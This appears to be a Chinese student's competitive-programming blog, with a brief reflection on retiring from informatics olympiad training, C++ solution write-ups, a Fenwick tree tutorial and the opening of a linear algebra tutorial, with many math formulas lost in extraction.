如梦令·生涯回首
去年誓夺一等，初赛未捷目送。百日磨兵戈，惨败显然易证。三等、三等，妈的还是三等。

因此，我建议正在成都东辰苦学竞赛的人不要把自己的资本全梭哈在竞赛上。在成都东辰，走出来还得靠文化课水平。如果你们这一届还有单独开设的竞赛班的话，想必都已经配备了最好的师资力量。竞赛走不出来，那就固守文化课，我相信这应该是成都东辰所有竞赛生最终的归宿吧……

对于退赛后的生活，我的建议是：一定要找老师补课。我去 NOIp 前只停了一周的课，然后生物就讲了一整章，结果我至今都不会，晚上返校还要默写那一块的内容。退役后成绩下降是常有的事，你只需要快速摆正状态，重新投入常规课学习即可。

跋#

本文作于 2024 年 12 月 14 日下午，退役的第二周；终于 2025 年 1 月 1 日，新年的第一天。笔者在和 2023 届（我所在的一届）与 2024 届的信息竞赛生一同吃完退役饭后对我的一年半竞赛生涯的所感。受同届竞赛生的博客文章 @HYLW 致未来·我们都是历史的启发，于此发表一篇我个人对竞赛生涯的总结与对未来的展望、以及对下一届乃至今后成都东辰所有信息竞赛生的劝慰与勉励。

CF 755D - PolandBall and Polygon 题解

Wed, 27 Nov 2024 12:32:36 GMT

Done

您已获得最佳的阅读体验！

题目地址：CF 755D

题目难度：提高+/省选-

给出一个边形，和距离。第一次连接和，第二次连接和，依次进行次，每次结束后输出边形被分割成了几个区域。
，保证和互质。

今天模拟赛 T2 原题，赛时多测卡线段树加上多测没清空喜爆零。同机房大佬 Brilliant11001 用惊天地泣鬼神纯数学做法 A 的，在此表示深深膜拜 %%%。

为了取模方便，本文是 0-index 的。

首先，根据互质关系可得，本题无需考虑重边的情况。因为在 0-index 下，题目可以看作是向连边，因此只有满足时才可能出现重边，这要求，而（互质），所以，且是的倍数时才会出现重边，对应次操作之后。本题中只考虑前次操作，因而不存在重边问题。

手搓可以发现第一个规律：具有对称性，即和作为步长时的答案是相同的，只是连边顺序相反而已。

接着研究，发现第二个规律——连边带来的贡献是当前边与已有边的相交次数加一。我们的核心任务就是维护当前边会与多少已连接的边相交。

假设当前待连的边是。仔细观察样例可发现，其实相交线段个数就是到（注意顺序，不是到）间内每个点的度数之和（多边形本身的边不计入度数）。因此对于每次操作，我们获得区间内所有点已经连出边的总数即可，注意特判右端点是否越过节点。贡献的产生如下图：

线段树的常数还是很大的，建议使用树状数组（或者上边大佬的数学做法）。

1
#include <bits/stdc++.h>
2
#define N 1000010
3
using namespace std;
4

5
typedef long long ll;
6

7
struct SegmentTree {
8
#define le(x) (x << 1)
9
#define ri(x) (x << 1 | 1)
10
#define leftSubtree(x) (tree[le(x)])
11
#define rightSubtree(x) (tree[ri(x)])
12
    int l, r, size;
13
    ll sum;
14
} tree[N << 2];
15

16
void pushup(int idx) {
17
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
18
}
19

20
void build(int idx, int l, int r) {
21
    tree[idx].l = l, tree[idx].r = r;
22
    tree[idx].size = r - l + 1;
23
    if (l == r) return;
24
    int mid = (l + r) >> 1;
25
    build(le(idx), l, mid);
26
    build(ri(idx), mid + 1, r);
27
    pushup(idx);
28
}
29

30
void modify(int idx, int uid) {
31
    if (tree[idx].size == 1 && tree[idx].l == uid) {
32
        tree[idx].sum++;
33
        return;
34
    }
35
    int mid = (tree[idx].l + tree[idx].r) >> 1;
36
    if (uid <= mid) modify(le(idx), uid);
37
    if (uid > mid) modify(ri(idx), uid);
38
    pushup(idx);
39
}
40

41
ll query(int idx, int l, int r) {
42
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum;
43
    int mid = (tree[idx].l + tree[idx].r) >> 1;
44
    ll ret = 0;
45
    if (l <= mid) ret += query(le(idx), l, r);
46
    if (r > mid) ret += query(ri(idx), l, r);
47
    return ret;
48
}
49

50
int main() {
51
    ios::sync_with_stdio(false);
52
    cin.tie(nullptr);
53
    cout.tie(nullptr);
54

55
    int n, k;
56
    cin >> n >> k;
57
    k = min(k, n - k);
58
    build(1, 0, n - 1);
59
    int pos = 0;
60
    ll section = 1;
61
    for (int i = 1; i <= n; i++) {
62
        int L = (pos + 1) % n, R = (pos + k - 1 + n) % n; // 左右端点
63
        ll sum = R < L ? query(1, 0, R) + query(1, L, n - 1) : query(1, L, R); // 获得区间内每个点连出去多少条边，注意判断是否跨过节点 0
64
        modify(1, pos); // 为当前的线段端点累加 1
65
        modify(1, (pos + k) % n);
66
        section += sum + 1; // 图形总数
67
        pos = (pos + k) % n; // 跳到下一个位置
68
        cout << section << ' ';
69
    }
70

71
    return 0;
72
}

展开收起

AC 记录

基础数据结构树状数组

Fri, 22 Nov 2024 02:19:01 GMT

前言#

我在第一次决定学树状数组前就预先接触过线段树的基本概念和操作，当时只觉得树状数组能做到的事情线段树也能做到。不仅如此，线段树朴素的二分思想在我看来是易于树状数组的 lowbit 规律的，综上种种，那时我便跳过了树状数组的学习。而如今接触到了各种线段树无法轻易解决的问题（偏序、逆序对等），才记起树状数组的各种好，经过再三斟酌，我决定还是简单学习一下树状数组。

基本概念#

二进制分解#

迄今为止我们已经接触过很多数字分解法，例如斐波那契数列的齐肯多夫表示法、基于算术基本定理的质因子拆分法、多重背包中用到的二进制分解法。在树状数组中，依然是信息学喜闻乐见的二进制来为之赋能，可以说树状数组就是完全搭建在二进制分解的基础上的。

对于一个自然数，它一定可以被分解为若干二次幂的和。即。

根据这点，把划成若干区间：

区间的大小分别为。观察每个小区间的右端点，它们的二进制分解形式就是右端点的和式，那么这个区间的大小就是，幂数也就是的二进制分解中最小元素的幂数，进而，的二进制 0/1 表示中 1 的最小位置。

lowbit 算符#

得到了规律，我们自然想要求出二进制最低位 1 的位置，实践中常用 lowbit 函数，它的定义是 x & -x。根据计算机处理负数的知识——负数的二进制相当于各位取反再加 1。较高位（比最低位 1 更高的所有位）在进行按位与运算时都会被消成 0，而较低位（不比最低位 1 更高的所有位）取反后均是 1，加上 1 之后会不断进位直到最低位 1 的位置（取反后为 0，进位后为 1），按位与运算就可以保留下这一位而消去其他位。结果就是。例如：，因为；，因为。

在系统中，标准库还提供一个函数 ffs，即 Find First bit Set，它返回最低位 1 的位置，相当于对 lowbit 取以二为底的对数。

更多位运算相关库见 [奇技淫巧] C++ 编程小寄巧 GCC 内建函数的巧用

树状数组#

来源：洛谷 @DWHJHY 树状数组 FENWICK TREE

结合图示，我们把树状数组节点的几个性质讲解一下：

除根节点外，节点的父节点是。反之，满足的所有节点都是的子节点。
节点的子节点数为。
令，不断递归计算直到结果为前的最后一个值与先前的所有值作为树状数组下标求和得到的总和即等于的前缀和。（具体见区间查询部分）
树的深度为，当节点数不足 2 的整数次幂时结构为森林。

其实树状数组可以不用建树，而是直接维护前缀和。当我们对树状数组插入数据时（假设原数组为，树状数组为），像线段树的上传操作一样，我们从子节点开始不断向父节点进行更新，也就是不断对下标加上当前下标的值直到超出的范围。

1
void modify(int u, int x) {
2
    for (int i = u; i <= n; i += lowbit(i)) c[i] += x; // 不断跳到父节点并累加值
3
}

在统计时，用和的前缀和相减获得区间总和。

1
int query(int r) {
2
    int ret = 0;
3
    for (int i = r; i; i -= lowbit(i)) ret += c[i]; // 根据性质 3，求得 [1,r] 区间内的前缀和
4
    return ret;
5
}

以上两种便是树状数组的基本操作。

简单维护策略#

前缀和#

例题：CF755D

难度：提高+/省选-

给出一个边形，和距离。第一次连接和，第二次连接和，依次进行次，每次结束后输出边形被分割成了几个区域。
互质，。

注意到每次连边对总区域数的贡献是该线段与已有线段的相交次数加一。我们的问题就转化成计算相交线段的个数。观察可得它其实就是端点到间经过的所有点的度数之和（多边形本身的边不计入度数），因此维护一个线段树/树状数组，每次询问内的和，再对两端点的值加一即可。

Note

题解同步于本站

1
#include <bits/stdc++.h>
2
#define N 1000010
3
#define lowbit(x) (x & -x)
4
using namespace std;
5

6
typedef long long ll;
7

8
ll c[N];
9
int n;
10

11
void modify(int u) {
12
    for (int i = u; i <= n; i += lowbit(i)) c[i]++;
13
}
14

15
ll query(int R) {
16
    ll ret = 0;
17
    for (int i = R; i; i -= lowbit(i)) ret += c[i];
18
    return ret;
19
}
20

21
int main() {
22
    ios::sync_with_stdio(false);
23
    cin.tie(nullptr);
24
    cout.tie(nullptr);
25

26
    int k;
27
    cin >> n >> k;
28
    k = min(k, n - k);
29
    ll section = 1;
30
    int pos = 1;
31
    for (int i = 1; i <= n; i++) {
32
        int R = pos + k; // 获得右端点
33
        ll sum;
34
        if (R > n) R %= n, sum = query(R - 1) + query(n) - query(pos); // 如果跨过 0 节点，特判
35
        else sum = query(R - 1) - query(pos); // 正常前缀和
36
        modify(pos); // 更改两个端点
37
        modify(R);
38
        section += sum + 1;
39
        pos = R;
40
        cout << section << ' ';
41
    }
42

43
    return 0;
44
}

展开收起

实测树状数组的时间大约是线段树的四分之一。

差分#

例题：P4939 Agent2

难度：普及/提高-

在线段树维护区间种类数一节中，我们已经探讨过利用差分数组和前缀和来解题的具体原理，树状数组亦然。树状数组维护可差分信息和小常数的天生特性使得它在这类题目中表现良好。

1
#include <bits/stdc++.h>
2
#define N 10000010
3
#define lowbit(x) (x & -x)
4
using namespace std;
5

6
typedef long long ll;
7

8
int start[N], ed[N];
9
int n;
10

11
void modifyS(int u) {
12
    for (int i = u; i <= n; i += lowbit(i)) start[i]++;
13
}
14

15
void modifyE(int u) {
16
    for (int i = u; i <= n; i += lowbit(i)) ed[i]++;
17
}
18

19
int queryS(int u) {
20
    int ret = 0;
21
    for (int i = u; i; i -= lowbit(i)) ret += start[i];
22
    return ret;
23
}
24

25
int queryE(int u) {
26
    int ret = 0;
27
    for (int i = u; i; i -= lowbit(i)) ret += ed[i];
28
    return ret;
29
}
30

31
int main() {
32
    ios::sync_with_stdio(false);
33
    cin.tie(nullptr);
34
    cout.tie(nullptr);
35

36
    int m;
37
    cin >> n >> m;
38
    while (m--) {
39
        int op, l, r;
40
        cin >> op >> l;
41
        if (op == 0) {
42
            cin >> r;
43
            modifyS(l);
44
            modifyE(r);
45
        } else cout << queryS(l) - queryE(l - 1) << endl;
46
    }
47

48
    return 0;
49
}

展开收起

区间加+单点查询#

例题：CF44C Holidays

难度：普及/提高-

如果本题没有保证的话，它将会更加复杂。

轻易可以看出，我们需要对给出的区间进行区间加一，结束后枚举每个点的值是否恰好是。在线段树区间加等差数列一节中，我们给出了将原序列转化为差分序列、将区间加等差数列转化成区间两端点的单点操作的解决方案。本题要求区间加一个常数列，即特殊的等差数列。实际维护方法和线段树是相同的——左端点加上首项，右端点右侧第一个点减去末项，本题中首项末项均为。

1
#include <bits/stdc++.h>
2
#define N 110
3
#define lowbit(x) (x & -x)
4
#define START 0
5
#define END 1
6
using namespace std;
7

8
int n;
9
int c[N];
10

11
void modify(int u, int x) {
12
    for (int i = u; i <= n; i += lowbit(i)) c[i] += x;
13
}
14

15
int query(int u) {
16
    int ret = 0;
17
    for (int i = u; i; i -= lowbit(i)) ret += c[i];
18
    return ret;
19
}
20

21
int main() {
22
    ios::sync_with_stdio(false);
23
    cin.tie(nullptr);
24
    cout.tie(nullptr);
25

26
    int m;
27
    cin >> n >> m;
28
    while (m--) {
29
        int l, r;
30
        cin >> l >> r;
31
        modify(l, 1);
32
        if (r < n) modify(r + 1, -1); //树状数组其实无需判断边界，但是线段树是必需的
33
    }
34
    for (int i = 1; i <= n; i++) {
35
        if (query(i) ^ 1) {
36
            cout << i << ' ' << query(i) << endl;
37
            return 0;
38
        }
39
    }
40
    cout << "OK" << endl;
41

42
    return 0;
43
}

展开收起

权值树状数组#

普通的树状数组维护的信息（原序列前缀和/差分）有时不能满足我们的多样化需求，此时权值树状数组便应运而生。它类似于桶，通过维护原序列中每个数的出现次数来化简一些比较棘手的问题。在原序列值域很大，或者是只关心元素间相对大小关系时十分有用。

逆序对#

例题：P1908 逆序对

难度：普及/提高-

逆序对的定义是：对于给定的一段正整数序列，逆序对就是序列中且的有序对。给定一段长度为的数列，求出逆序对的数量。

我们只关心元素间的大小关系，符合权值树状数组的使用范畴，因此离散化并建立之。接下来是如何处理逆序对的问题。

考虑将待插入数列升序排序（第二关键字为下标升序）然后依次插入。假如原序列中最小，它将被第一个插入，具体是在树状数组的位置增加并向上更新。数字是从小到大插入的，因此逆序对只会出现在位后面，减去内的前缀和即为答案。

1
#include <bits/stdc++.h>
2
#define N 500010
3
#define lowbit(x) (x & -x)
4
using namespace std;
5

6
typedef long long ll;
7
typedef pair<ll, int> PII;
8

9
ll c[N];
10
PII a[N];
11
int rnk[N];
12
int n;
13

14
bool cmp(const PII &l, const PII &r) {
15
    return l.first == r.first ? l.second < r.second : l.first < r.first;
16
}
17

18
void add(int u, int x) {
19
    for (int i = u; i <= n; i += lowbit(i)) c[i] += x;
20
}
21

22
ll query(int l) {
23
    ll sum = 0;
24
    for (int i = l; i; i -= lowbit(i)) sum += c[i];
25
    return sum;
26
}
27

28
int main() {
29
    ios::sync_with_stdio(false);
30
    cin.tie(nullptr);
31
    cout.tie(nullptr);
32

33
    cin >> n;
34
    for (int i = 1; i <= n; i++) cin >> a[i].first, a[i].second = i;
35
    sort(a + 1, a + n + 1, cmp);
36
    for (int i = 1; i <= n; i++) rnk[a[i].second] = i;
37
    ll ans = 0;
38
    for (int i = 1; i <= n; i++) {
39
        add(rnk[i], 1);
40
        ans += i - query(rnk[i]);
41
    }
42
    cout << ans << endl;
43

44
    return  0;
45
}

展开收起

区间第 k 大问题#

例题：P1168 中位数

难度：普及+/提高

权值树状数组的一个强力应用就是求解区间第大。

由题可知，有个元素的数列的中位数就是它的第大元素。我们只需在读入奇数个数时输出已有区间的第大即可。因而问题简化成求解区间第大。首先对输入数据离散化，然后据此建立权值树状数组。

在权值树状数组上，我们要求最小的使得且成立，此时第项即为所求。一般来说，我们会想到二分，这样的时间复杂度是，数据大时无法通过。

此时我们借助树状数组下标之间的关系，进一步优化二分过程。事实上，我们选择用倍增来替代二分。这个做法其实是基于树状数组下标与 lowbit 值之间的恒等关系：对于区间，它的区间和是。

具体流程如下：

令区间的前缀和，待求答案。
让从开始倒序循环到。
，检查此时的是否超出边界，或者是的前缀和是否非严格大于。若是，则撤销此次倍增，还原；否则保留更改，同时。
循环结束后，返回。

1
#include <bits/stdc++.h>
2
#define N 100010
3
#define lowbit(x) (x & -x)
4
using namespace std;
5

6
typedef long long ll;
7

8
int n;
9
int a[N], b[N];
10
ll c[N];
11
int cnt = 0;
12

13
void modify(int u, int x) {
14
    for (int i = u; i <= cnt; i += lowbit(i)) c[i] += x;
15
}
16

17
int query(int k) {
18
    ll s = 0;
19
    int x = 0;
20
    for (int i = log2(cnt) + 1; i >= 0; i--) { // 倍增
21
        x += 1 << i; // 尝试倍增
22
        if (x > cnt || s + c[x] >= k) x -= 1 << i; // 不符合要求，撤销倍增
23
        else s += c[x]; // 保留倍增，更新前缀和
24
    }
25
    return x + 1;
26
}
27

28
int main() {
29
    ios::sync_with_stdio(false);
30
    cin.tie(nullptr);
31
    cout.tie(nullptr);
32

33
    cin >> n;
34
    for (int i = 1; i <= n; i++) cin >> a[i], b[i] = a[i];
35
    sort(a + 1, a + 1 + n);
36
    cnt = unique(a + 1, a + 1 + n) - a - 1;
37
    for (int i = 1; i <= n; i++) b[i] = lower_bound(a + 1, a + 1 + n, b[i]) - a; // 排序去重离散化
38
    for (int i = 1; i <= n; i++) {
39
        modify(b[i], 1);
40
        if (i & 1) cout << a[query(i + 1 >> 1)] << endl;
41
    }
42

43
    return 0;
44
}

展开收起

三元序列问题#

例题：P10589 楼兰图腾

难度：普及+/提高

根据乘法原理，对于某个点，它能构成的符合要求的 V 形三元组的总数是它左侧严格大于它的点的数量乘以它右侧严格大于它的点的数量，反之亦然。问题转化成了如何维护某个点左右两侧比它大/小的点的总数。

同样是先离散化建立两个权值树状数组，一个维护左侧信息、另一个维护右侧信息。在维护左侧相关信息时按正序添加节点。因为权值线段树维护一段升序序列，因此先加入（在左侧）、且比当前点小的点的数量就是的前缀和；对应的，因为已经添加了个数，在左侧又有个数小于等于，那么在左侧且比它大的数就共有个。这也是树状数组维护逆序对的思路。

维护右侧点就换个顺序，倒序添加节点。基本思路和维护左侧节点相同。维护右侧比它小的节点数时，显然就是前缀和；而求解右侧比它大的节点数时，因为右侧已经有个节点，又有个比它小，那么相减即可。

1
#include <bits/stdc++.h>
2
#define N 200010
3
#define lowbit(x) (x & -x)
4
using namespace std;
5

6
typedef long long ll;
7

8
int n;
9
int a[N], b[N];
10
int L1[N], R1[N], L2[N], R2[N];
11
int c1[N], c2[N];
12

13
void modify(int c[], int u, int x) {
14
    for (int i = u; i <= n; i += lowbit(i)) c[i] += x;
15
}
16

17
int query(int c[], int u) {
18
    int ret = 0;
19
    for (int i = u; i; i -= lowbit(i)) ret += c[i];
20
    return ret;
21
}
22

23
int main() {
24
    ios::sync_with_stdio(false);
25
    cin.tie(nullptr);
26
    cout.tie(nullptr);
27

28
    cin >> n;
29
    for (int i = 1; i <= n; i++) cin >> a[i], b[i] = a[i];
30
    sort(a + 1, a + 1 + n);
31
    for (int i = 1; i <= n; i++) b[i] = lower_bound(a + 1, a + 1 + n, b[i]) - a;
32
    for (int i = 1; i <= n; i++) {
33
        modify(c1, b[i], 1);
34
        L1[i] = query(c1, b[i] - 1); // 左侧比它小
35
        L2[i] = i - query(c1, b[i]); // 左侧比它大
36
    }
37
    for (int i = n; i; i--) {
38
        modify(c2, b[i], 1);
39
        R1[i] = n - i - query(c2, b[i]) + 1; // 右侧比它大
40
        R2[i] = query(c2, b[i] - 1); // 右侧比它小
41
    }
42
    ll ans1 = 0, ans2 = 0;
43
    for (int i = 1; i <= n; i++) {
44
        ans1 += 1ll * L2[i] * R1[i];
45
        ans2 += 1ll * L1[i] * R2[i];
46
    }
47
    cout << ans1 << ' ' << ans2 << endl;
48

49
    return 0;
50
}

展开收起

维护动态规划#

在动态规划中，善用各种数据结构，有时可以将暴力转移的时间复杂度除以一个。例如单调数据结构优化、斜率优化等。这里将介绍树状数组在维护动态规划权值上的一些应用。

k 元严格上升子序列计数#

例题：UVA12983 The Battle of Chibi

难度：普及+/提高

设状态为表示长度为且以结尾的元最长上升子序列的个数。转移就是，但是总时间复杂度是的，不能接受。

注意到产生贡献当且仅当。可以先将离散化，当一个状态完全转移完之后，我们把它的值加到对应的位置上。运算时，就可以把排名前的和加入进来，刚好就涵盖了所有小于对应的的值。因此建立树状数组维护即可，时间复杂度成功降落到。

1
#include <bits/stdc++.h>
2
#define N 1010
3
#define MOD 1000000007
4
#define lowbit(x) (x & -x)
5
using namespace std;
6

7
typedef long long ll;
8

9
int n;
10
int a[N], b[N];
11
ll c[N], dp[N][N];
12

13
void modify(int u, ll x) {
14
    for (int i = u; i <= n; i += lowbit(i)) c[i] += x;
15
}
16

17
ll query(int u) {
18
    ll ret = 0;
19
    for (int i = u; i; i -= lowbit(i)) ret += c[i];
20
    return ret;
21
}
22

23
int main() {
24
    ios::sync_with_stdio(false);
25
    cin.tie(nullptr);
26
    cout.tie(nullptr);
27

28
    int t;
29
    cin >> t;
30
    for (int x = 1; x <= t; x++) {
31
        memset(dp, 0, sizeof dp);
32

33
        int m;
34
        cin >> n >> m;
35
        for (int i = 1; i <= n; i++) cin >> a[i], b[i] = a[i];
36
        sort(a + 1, a + 1 + n);
37
        unique(a + 1, a + 1 + n) - a - 1;
38
        for (int i = 1; i <= n; i++) b[i] = lower_bound(a + 1, a + 1 + n, b[i]) - a + 1; // 让排名全严格大于 1
39
        for (int i = 1; i <= n; i++) {
40
            memset(c, 0, sizeof c); // 树状数组记录每个 i 对应的值，因此 i 变化后树状数组也要清空
41
            if (i == 1) modify(1, 1); // 相当于 dp[0][0] = 1
42
            for (int j = 1; j <= n; j++) {
43
                dp[i][j] = (dp[i][j] + query(b[j] - 1)) % MOD; // 无需再枚举之前比它小的点，直接加上贡献即可
44
                modify(b[j], dp[i - 1][j]); // 将小于 b[j] 的点的贡献加入树状数组
45
            }
46
        }
47
        ll sum = 0;
48
        for (int i = 1; i <= n; i++) sum = (sum + dp[m][i]) % MOD; // 对所有长度为 m 的序列个数求和
49
        cout << "Case #" << x << ": " << sum << endl;
50
    }
51

52
    return 0;
53
}

展开收起

P11280 - Jom & Terry 题解

Sat, 16 Nov 2024 08:51:08 GMT

Done

您已获得最佳的阅读体验！

题目地址：P11280

题目难度：普及/提高-

Terry 和 Jom 在一个个点条边的有“根”无向连通图上博弈（图的根为），遵循以下规则：

Terry 先手；

两人轮流在图上移动，每次只能走一条边（也可以睡觉，啥都不干）；

Terry 不能走到 Jom 所在的结点（我们认为只有 Terry 自投罗网时才会被抓到，即如果 Terry 先移动到结点后 Jom 在同一回合也移动到是合法的）。

每次询问给定 Terry 和 Jom 的起点，你需要回答 Terry 能否到达点。

为了避免题面命名给个人理解带来的混乱，本题解将用“猫”（Jom）、“鼠”（Terry）来区分二者。

我们的目的是让鼠无论如何都能在猫之前到达，因此我们先考虑猫的最优策略——当猫使用最优策略都无法抓到鼠时，那必定有鼠必胜。

鼠的唯一目的地是，因此猫只需先到点，然后等着它就好了。于是猫一定会沿着到根的最短路径前行，而鼠为了不被抓住也会沿着距离根最短的那条路径行进。我们只需在最开始预处理出每个节点到的最短距离即可。预估时间复杂度是的。

注意不要把 Terry 和 Jom 搞混了；输出量较大，慎用 endl（时间膨胀一倍多）。

1
#include <bits/stdc++.h>
2
#define N 1000010
3
using namespace std;
4

5
struct Edge {
6
    int to, ne;
7
} edges[N << 1];
8
int h[N], idx = 0;
9
int dep[N];
10
int n, m, r;
11

12
void add(int u, int v) {
13
    idx++;
14
    edges[idx].to = v;
15
    edges[idx].ne = h[u];
16
    h[u] = idx;
17
}
18

19
void bfs() {
20
    queue<int> q;
21
    q.push(r);
22
    dep[r] = 0;
23
    while (!q.empty()) {
24
        int t = q.front();
25
        q.pop();
26

27
        for (int i = h[t]; ~i; i = edges[i].ne) {
28
            int j = edges[i].to;
29
            if (dep[j] > dep[t] + 1) {
30
                dep[j] = dep[t] + 1;
31
                q.push(j);
32
            }
33
        }
34
    }
35
}
36

37
int main() {
38
    ios::sync_with_stdio(false);
39
    cin.tie(nullptr);
40
    cout.tie(nullptr);
41

42
    memset(dep, 0x3f, sizeof dep);
43
    memset(h, -1, sizeof h);
44

45
    int q;
46
    cin >> n >> m >> r;
47
    while (m--) {
48
        int u, v;
49
        cin >> u >> v;
50
        add(u, v);
51
        add(v, u);
52
    }
53
    bfs();
54
    cin >> q;
55
    cout << "I'm here!" << endl;
56
    while (q--) {
57
        int a, b;
58
        cin >> a >> b;
59
        cout << (dep[a] <= dep[b] ? "Terry" : "Jom") << '\n';
60
    }
61
    return 0;
62
}

展开收起

P11253 [GDKOI2023 普及组] 小学生数学题

Sat, 09 Nov 2024 10:00:33 GMT

Done

您已获得最佳的阅读体验！

题目地址：P11253

题目难度：普及/提高+

题目来源：广东 2023

求出和式的值，

开始我以为这只是一道快速幂的大水题，敲了一个快速幂然后测试了一下大样例，发现 T 飞了。于是我又用上了不知从哪道题里学来的十进制快速幂，结果还是不行。最后我又类比十进制快速幂写了个百进制快速幂，希望能过一些点，最后还是全 T……

注意到维护阶乘的复杂度是，实际上该题的瓶颈在于如何快速求出内每个数的次幂。其次，注意到，也即，显然是一个积性函数。

又发现线性筛在筛去合数时有一个乘积的形式，于是我们可以借用这个思路，在筛去合数的同时维护这个函数。

1
#include <bits/stdc++.h>
2
#define MOD 998244353
3
#define N 20000010
4
using namespace std;
5

6
typedef long long ll;
7

8
int n, k;
9
int cnt = 0;
10
ll prime[N], p[N];
11
bool st[N];
12

13
ll qpow(ll a, ll b) {
14
    ll res = 1;
15
    while (b) {
16
        if (b & 1) res = res * a % MOD;
17
        a = a * a % MOD;
18
        b >>= 1;
19
    }
20
    return res % MOD;
21
}
22

23
ll inv(ll x) {
24
    return qpow(x, MOD - 2);
25
}
26

27
void sieve() {
28
    p[1] = 1;
29
    for (int i = 2; i <= n; i++) {
30
        if (!st[i]) {
31
            prime[++cnt] = i;
32
            p[i] = inv(qpow(i, k));
33
        }
34
        st[i] = true;
35
        for (int j = 1; i * prime[j] <= n; j++) {
36
            if (prime[j] > p[i] || j > cnt) break;
37
            st[i * prime[j]] = true;
38
            p[i * prime[j]] = p[prime[j]] * p[i] % MOD; // 维护积性函数
39
            if (i % prime[j] == 0) break;
40
        }
41
    }
42
}
43

44
int main() {
45
    ios::sync_with_stdio(false);
46
    cin.tie(nullptr);
47
    cout.tie(nullptr);
48

49
    cin >> n >> k;
50
    sieve();
51
    ll fac = 1;
52
    ll ans = 0;
53
    for (int i = 1; i <= n; i++) {
54
        fac = fac * i % MOD; // 线性维护阶乘
55
        ans = (ans + fac * p[i] % MOD) % MOD; // 计算
56
    }
57
    cout << ans << endl;
58
    return 0;
59
}

展开收起

线性代数简明教程

Sat, 02 Nov 2024 03:37:31 GMT

前言#

本文是所著《线性代数》（原书第十版）的简要总结与算法竞赛方面的扩充，适合线性代数入门者学习并把握线性代数的基本概念和内容。

需要注意的是：本教程中的矩阵表示方法可能与你在课上或是其他教程中看到的有些许出入。为了兼具美观和统一，单行行向量用圆括号包围，变量顶部用向量符号标记，如行向量：，其余情况均以方括号包围；向量/一般变量用单一小写字母或符号表示，矩阵则用大写字母表示，如矩阵。

第一章矩阵与方程组#

相信大多数人入门线性代数的第一堂课就是学习如何利用矩阵求解线性方程组的吧。矩阵作为一个仅由数字和括号组成的表示方法，既避免了书写各种未知数符号的麻烦，也能一眼看出各未知量之间的数量关系，实属上乘的表示方法。矩阵的一些特殊性质也可以帮助我们解决一些难以解决的问题。

第一节方程组与矩阵的互相转化#

假设我们有一个方程组：。首先将所有未知数提到等号左侧，常数全部移到右侧。我们暂时先忽略掉等号右边的常数项。我们将每行未知数的系数提取出来，放入矩阵的第一行，矩阵的第一行就表示方程组中第一个方程的未知数系数（没有默认为 0），以此类推到下边几行，最终你会得到一个列数与未知数个数相等、行数与方程个数相等的矩阵。本例中它长成这个样子：

如此得到的矩阵叫做系数矩阵，顾名思义，它只表示了原方程组的系数，而忽略了常数项。

它同时也是一个矩阵。

一般地，对于一个矩阵（），它有行列。

此时，如果我们加上等号右侧的常数项，原先的矩阵会变成的。

人们为了区分常数和系数，选择在书写时将常数加入到最右侧那一列，并且在最右一列的前面加上竖线分隔系数，如此得到的矩阵叫做增广矩阵。

本例中的增广矩阵形式写作：

当矩阵元素不明时，我们为了简便表示矩阵本身，采用字母 + 下标 + 括号的方式。例如一个矩阵，可以写作：。

第二节矩阵的基本运算#

一. 矩阵加法#

构造相同的矩阵，即两个矩阵行列数相同，称这样的两个矩阵是同型的。

矩阵加法仅限两个同型矩阵，相加时同一行同一列的元素相加即可（增广矩阵同理）。

例如：

矩阵加法满足：结合律、交换律

二. 矩阵减法#

矩阵减法是矩阵加法的逆运算，因此对于两个矩阵的形式要求同上，只是相同位置的元素相减而已。

矩阵减法满足：结合律、交换律

三. 标量乘法/矩阵数乘#

矩阵的数乘也很简单，让矩阵中每个元素乘以这个数就可以了。

例如：

矩阵数乘满足：交换律、结合律、分配律

四. 矩阵转置#

将原矩阵的行变成新矩阵的列，称为矩阵的转置。

直观理解就是顺时针旋转 90 度后再水平镜像过去。转置用上标表示。

例如：，则

矩阵的主对角线（左上 - 右下）元素转置前后不变，且具有可逆性 []、数乘不变 []、分配律 []。

转置后恰好就是它自身的矩阵称为对称矩阵。它是自转置的，即。对称矩阵的元素恰好关于主对角线对称，且是一个的方阵。

五. 矩阵乘法#

该内容将在第二章涉及。

第三节消元#

按照一般思路（就是我们在小学学的方法），我们会选择通过方程互相加减各自的倍数，达到消去未知数的目的。这种方法在矩阵上同样适用，而且它有一个贼高坤的名称：高斯消元法（Gaussian Elimination）。

回忆一下我们从出生就会用的消元原理，我们的目标就是让每个未知数都对应一个常数项，那么它的值就可以直接用常数除以系数的方式求出。矩阵中也是如此，为了能够化简出可直接求解的矩阵，我们在此引入初等行变换的概念：

交换某两行
把矩阵的某一行同乘以一个非零的数
把某行的若干倍加和到另一行

这三条很容易理解。第一条：相当于交换方程组顺序，不影响计算；第二条：相当于对某一行方程放缩某倍，它等价于原方程；第三条：相当于前两条的融合，也是消元的关键一招。这三条规则在之后的初等矩阵内容中会再次出现。

首先从一个例子讲起，让读者感受一下初等行变换的魅力：

考虑这个方程组：

按照如上所述，将它转写成增广矩阵的形式：

我们总结一下常用的消元原理，应用到矩阵上就是：

枚举每一列，选出无序组中第列系数绝对值最大的一行，并移到无序组的最上边。（变换规则一）
行通过自乘，将第列的系数变成，并标记为有序。（变换规则二）
通过加减有序组中某一行的非零倍，将之后所有行的第列系数化为。（变换规则三）

令矩阵（有序组用绿色表示）

枚举第一列，。开始时，所有行均无序。选出绝对值最大的那一项，本例中为第二行，进行移动，原矩阵变为：

第二步，自乘并标记有序，因此第一行除以，原矩阵就变成了：

Undefined control sequence \textcolor

第三步，将无序组的第列消成。本例中，我们让第二行减去二倍第一行；第三行直接减去第一行，得到：

Undefined control sequence \textcolor

枚举第二列，此时。第一步，选出第二列系数绝对值最大的那一行，移到无序组最上端。本例中无需移动，自乘，标记有序，原矩阵为：

Undefined control sequence \textcolor

最终的最终，第三行减倍第二行，得到我们心心念念的化简后的矩阵：

为什么把矩阵化简成这种金字塔型的形式呢？你会发现：最后一行仅有一个带系数的未知数，我们直接求，。向上一行，现在相当于常数，移到常数中与合并，也可直接求了……经过如上的反代操作，三个未知数都会被求出来。至此我们才发现这个三角形矩阵的魅力之处。

一般地，对于一个矩阵，如果它的非零系数呈阶梯形分布，则称这类矩阵为行阶梯形矩阵。将非零系数挑出来，它们组成的是一个上三角形矩阵；对应地，零项就会组成下三角矩阵。上三角矩阵通常以表示、下三角矩阵通常用表示。

原方程组有唯一解：

